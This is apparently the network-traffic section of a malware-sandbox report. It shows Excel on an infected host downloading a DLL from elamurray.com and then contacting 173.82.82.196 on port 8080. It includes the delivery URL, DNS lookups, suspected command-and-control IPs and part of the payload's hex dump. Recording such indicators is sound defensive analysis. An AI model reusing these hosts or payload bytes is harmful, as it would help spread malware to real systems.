May 23, 2022 11:39:27.549721003 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.549760103 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.549782038 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.549864054 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.551832914 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.574721098 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.574754953 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.574775934 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.574796915 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.574899912 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.574969053 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.574976921 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.577373981 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.577474117 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.579883099 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.579962969 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.590250015 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.590281963 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.590302944 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.590320110 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.590351105 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.590486050 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.606000900 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.606053114 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.606096029 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.606112957 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.606174946 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.606183052 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.627408981 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.627490044 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.627511978 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.627551079 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.627553940 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.627599955 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.627618074 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.627660990 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.637427092 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.637460947 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.637482882 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.637518883 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.637537003 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.652781963 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.652818918 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.652841091 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.652862072 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.652936935 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.655810118 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.668488979 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.668520927 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.668546915 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.668620110 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.671821117 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.699850082 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.699902058 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.699935913 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.699969053 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.699973106 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.700007915 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.700011015 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.700014114 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.700048923 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.715409994 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.715462923 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.715487003 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.715503931 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.715512991 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.715554953 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.723381042 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.723426104 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.723463058 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.723465919 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.723500013 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.723515034 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.723515034 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.723556042 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.739103079 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.739142895 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.739255905 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.746412992 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.746464014 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.746505976 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.746514082 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.746541977 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.746560097 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.762300014 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.762347937 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.762377024 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.762398005 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.762401104 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.762434959 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.762453079 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.762471914 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.784931898 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.784960985 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.784981012 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.785068989 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.787808895 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.793431044 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.793467999 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.793495893 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.793503046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.793524027 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.793544054 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.793550968 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.793565035 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.809019089 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.809053898 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.809078932 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.809192896 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.840373039 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.840426922 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.840464115 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.840523958 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.840542078 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.840562105 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.840606928 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.840632915 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.855900049 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.855933905 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.855957031 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.855973959 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.856035948 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.856070995 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.871555090 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.871607065 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.871629000 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.871769905 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.887223959 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.887270927 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.887290955 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.887311935 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.887334108 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.887449026 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.887809992 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.902883053 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.902930021 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.902955055 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.902978897 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.903075933 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.905862093 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.933936119 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.933964968 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.933985949 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.934006929 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.934026957 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.934037924 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.934073925 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.934077978 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.949769974 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.949820042 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.949866056 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.949928999 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.949956894 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.965168953 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.965197086 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.965215921 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.965312004 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.965828896 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.981337070 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.981369019 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.981522083 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:57.414777994 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:57.595928907 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:57.596033096 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:57.645401955 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:57.826035976 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:57.844222069 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:57.844271898 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:57.844324112 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:57.844361067 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:57.851314068 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:58.031790972 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:58.034450054 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:58.034576893 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:58.920475006 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:59.103184938 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:59.781498909 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:39:59.781719923 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:40:02.783557892 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:40:02.783600092 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 11:40:02.783683062 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:40:20.770806074 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:21.299284935 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:21.985836029 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:23.187038898 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:25.605278015 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:30.457269907 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:40.130393028 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:40:54.600039959 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:40:54.600095034 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:41:27.152612925 CEST	80	49178	138.219.41.210	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 11:38:27.321429968 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 11:38:27.339274883 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 11:38:30.473620892 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 11:38:30.603427887 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 11:39:03.726281881 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 11:39:03.774164915 CEST	53	58836	8.8.8.8	192.168.2.22
May 23, 2022 11:39:25.238645077 CEST	59915	53	192.168.2.22	8.8.8.8
May 23, 2022 11:39:25.258491993 CEST	53	59915	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 11:38:27.321429968 CEST	192.168.2.22	8.8.8.8	0x88b3	Standard query (0)	www.melisetotoaksesuar.com	A (IP address)	IN (0x0001)
May 23, 2022 11:38:30.473620892 CEST	192.168.2.22	8.8.8.8	0x82ba	Standard query (0)	elamurray.com	A (IP address)	IN (0x0001)
May 23, 2022 11:39:03.726281881 CEST	192.168.2.22	8.8.8.8	0x293a	Standard query (0)	masyuk.com	A (IP address)	IN (0x0001)
May 23, 2022 11:39:25.238645077 CEST	192.168.2.22	8.8.8.8	0xfdf2	Standard query (0)	jr-software-web.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 23, 2022 11:38:27.339274883 CEST	8.8.8.8	192.168.2.22	0x88b3	No error (0)	www.melisetotoaksesuar.com	melisetotoaksesuar.com		CNAME (Canonical name)	IN (0x0001)
May 23, 2022 11:38:27.339274883 CEST	8.8.8.8	192.168.2.22	0x88b3	No error (0)	melisetotoaksesuar.com		212.98.224.29	A (IP address)	IN (0x0001)
May 23, 2022 11:38:30.603427887 CEST	8.8.8.8	192.168.2.22	0x82ba	No error (0)	elamurray.com		66.84.31.11	A (IP address)	IN (0x0001)
May 23, 2022 11:39:03.774164915 CEST	8.8.8.8	192.168.2.22	0x293a	No error (0)	masyuk.com		128.199.252.32	A (IP address)	IN (0x0001)
May 23, 2022 11:39:25.258491993 CEST	8.8.8.8	192.168.2.22	0xfdf2	No error (0)	jr-software-web.net		138.219.41.210	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.melisetotoaksesuar.com

elamurray.com

jr-software-web.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	212.98.224.29	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	66.84.31.11	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 11:38:30.730407953 CEST	375	OUT	GET /athletics-carnival-2018/3UTZYr9D9f/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: elamurray.com Connection: Keep-Alive
May 23, 2022 11:38:30.935470104 CEST	376	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 09:38:30 GMT Server: Apache Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 09:38:30 GMT Content-Disposition: attachment; filename="F3DOS06hLF1rUq3s6XOB.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b5616d3c74=1653298710; expires=Mon, 23-May-2022 09:39:30 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 09:38:30 GMT Content-Length: 376320 Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ea 8c e5 53 ae ed 8b 00 ae ed 8b 00 ae ed 8b 00 c1 9b 15 00 a4 ed 8b 00 c1 9b 21 00 ce ed 8b 00 a7 95 18 00 a9 ed 8b 00 ae ed 8a 00 cb ed 8b 00 c1 9b 20 00 84 ed 8b 00 c1 9b 10 00 af ed 8b 00 c1 9b 11 00 af ed 8b 00 ae ed 1c 00 ac ed 8b 00 c1 9b 16 00 af ed 8b 00 52 69 63 68 ae ed 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c5 a2 86 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 60 01 00 00 82 04 00 00 00 00 00 7c 90 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 90 fc 01 00 72 00 00 00 24 f2 01 00 50 00 00 00 00 70 02 00 98 90 03 00 00 50 02 00 3c 12 00 00 00 00 00 00 00 00 00 00 00 10 06 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 01 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5e 01 00 00 10 00 00 00 60 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 8d 00 00 00 70 01 00 00 8e 00 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 43 00 00 00 00 02 00 00 1c 00 00 00 f2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 3c 12 00 00 00 50 02 00 00 14 00 00 00 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 98 90 03 00 00 70 02 00 00 92 03 00 00 22 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 08 00 00 00 10 06 00 00 0a 00 00 00 b4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S! RichPEdb" `\| @r$PpP<p .textZ^` `.rdatapd@@.dataC@.pdata<P@@.rsrcp"@@.reloc@B
May 23, 2022 11:38:30.935524940 CEST	378	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 23, 2022 11:38:30.935553074 CEST	379	IN	Data Raw: 48 8b ec 48 83 ec 70 83 65 c0 00 83 65 c4 00 48 8d 05 30 ff ff ff ba 6b 00 00 00 48 89 45 b8 c7 45 b0 50 00 00 00 c7 45 b4 03 00 00 00 48 89 4d c8 ff 15 2b 5e 01 00 ba 00 7f 00 00 33 c9 48 89 45 d0 ff 15 22 5e 01 00 48 8b 4d c8 ba 6c 00 00 00 48 Data Ascii: HHpeeH0kHEEPEHM+^3HE"^HMlHEHHEHEHEm]HMHE]Hp]H\$Ht$WH HH3HcHwDuHLHHPhDHHcHHtQHyHDE3Ht$8HH\$
May 23, 2022 11:38:30.935575962 CEST	380	IN	Data Raw: f4 ff ff 48 81 ec 20 0c 00 00 48 8b 05 7f ec 01 00 48 33 c4 48 89 85 10 0b 00 00 ff ca 48 8b f9 0f 85 93 3c 00 00 c7 44 24 50 0a fe 0e 65 c7 44 24 54 5d 33 60 13 c7 44 24 58 0e 13 39 76 45 33 ff c7 44 24 5c 39 03 00 72 c7 44 24 60 07 61 b8 fd c7 Data Ascii: H HH3HH<D$PeD$T]3`D$X9vE3D$\9rD$`aD$d$zD$hDjmD$lXRmD$pD$t;;)PD$xQLD$\|$EE'DrdE~{dE5EOE{E*%!ErE}EwBAE~E oE$SEx9
May 23, 2022 11:38:30.935599089 CEST	382	IN	Data Raw: 00 48 6a 1a be c7 85 ac 01 00 00 1d 09 f2 15 c7 85 b0 01 00 00 24 62 72 42 c7 85 b4 01 00 00 44 55 2e be c7 85 b8 01 00 00 11 7d 72 2c c7 85 bc 01 00 00 c8 b8 0a dd c7 85 c0 01 00 00 7f 74 19 7d c7 85 c4 01 00 00 dc 45 92 32 c7 85 c8 01 00 00 71 Data Ascii: Hj$brBDU.}r,t}E2qwaqBV3mqBdB2erquHD"m r\)9QH#fa
May 23, 2022 11:38:30.935623884 CEST	383	IN	Data Raw: 03 00 00 52 08 de 23 c7 85 c4 03 00 00 3b 00 5a 98 c7 85 c8 03 00 00 e7 3b 6e 00 c7 85 cc 03 00 00 64 3f 53 68 c7 85 d0 03 00 00 bd 59 4d 41 c7 85 d4 03 00 00 b5 07 7a 9b c7 85 d8 03 00 00 14 ed 0d d2 c7 85 dc 03 00 00 9d 92 62 1c c7 85 e0 03 00 Data Ascii: R#;Z;nd?ShYMAzboNP&Bwx(V<Wm7 {+_TB;{<mi\Rm{.~:GwB6Z<
May 23, 2022 11:38:30.935776949 CEST	385	IN	Data Raw: 85 d8 05 00 00 c9 94 d8 7a c7 85 dc 05 00 00 4f 74 6a ce c7 85 e0 05 00 00 37 64 0b 62 c7 85 e4 05 00 00 96 2e be 49 c7 85 e8 05 00 00 5a 1b e6 f5 c7 85 ec 05 00 00 24 83 be 23 c7 85 f0 05 00 00 5f 9e f5 ba c7 85 f4 05 00 00 11 24 36 79 c7 85 f8 Data Ascii: zOtj7db.IZ$#_$6y tzf;oYhAHCsHVrV$4m%x N{4$*I(Sm7(,{P0)5^4>vBA8
May 23, 2022 11:38:30.935801029 CEST	386	IN	Data Raw: 4e c7 85 f0 07 00 00 09 56 95 7f c7 85 f4 07 00 00 46 a2 1e 54 c7 85 f8 07 00 00 31 18 1e 1f c7 85 fc 07 00 00 b8 47 61 b0 c7 85 00 08 00 00 83 79 4a 33 c7 85 04 08 00 00 4d f6 97 55 c7 85 08 08 00 00 e1 ae 76 1a c7 85 0c 08 00 00 ee f5 6e 0b c7 Data Ascii: NVFT1GayJ3MUvn*8@Kw}] P$$x(lH,#fa03wa4y4s8H`<h@HJD;Hj!Lj6Q
May 23, 2022 11:38:30.935826063 CEST	387	IN	Data Raw: db 7c 27 c7 85 08 0a 00 00 1e b8 54 0c c7 85 0c 0a 00 00 55 51 00 42 c7 85 10 0a 00 00 fc b3 09 de c7 85 14 0a 00 00 36 2b 09 d2 c7 85 18 0a 00 00 18 7d 7a e7 c7 85 1c 0a 00 00 03 66 7e d5 c7 85 20 0a 00 00 e9 3a d5 b4 c7 85 24 0a 00 00 42 77 42 Data Ascii: \|'TUQB6+}zf~ :$BwB(Zvr,1-0_4Y:.8f5<U3@EYDCH7taLxPT1xX{HJ\&`Pdzx4
May 23, 2022 11:38:30.935857058 CEST	389	IN	Data Raw: ff 48 8d 15 6c 3d 01 00 48 8b ce e8 3c dd ff ff b2 0a 48 8b c8 48 8b d8 e8 4f df ff ff 48 8b cb e8 cf db ff ff 48 8d 15 68 3d 01 00 48 8b ce e8 18 dd ff ff b2 0a 48 8b c8 48 8b d8 e8 2b df ff ff 48 8b cb e8 ab db ff ff 48 8d 15 64 3d 01 00 48 8b Data Ascii: Hl=H<HHOHHh=HHH+HHd=HHHHH`=HHHHcH\=HHHH?HX=HHHHHT=HdHHw
May 23, 2022 11:38:31.050765991 CEST	390	IN	Data Raw: 01 00 48 8b ce e8 08 d8 ff ff b2 0a 48 8b c8 48 8b d8 e8 1b da ff ff 48 8b cb e8 9b d6 ff ff 48 8d 15 d4 3c 01 00 48 8b ce e8 e4 d7 ff ff b2 0a 48 8b c8 48 8b d8 e8 f7 d9 ff ff 48 8b cb e8 77 d6 ff ff 48 8d 15 d0 3c 01 00 48 8b ce e8 c0 d7 ff ff Data Ascii: HHHHH<HHHHwH<HHHHSH<HHHH/H<HxHHHH<HTHHgHH<H0HHCH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
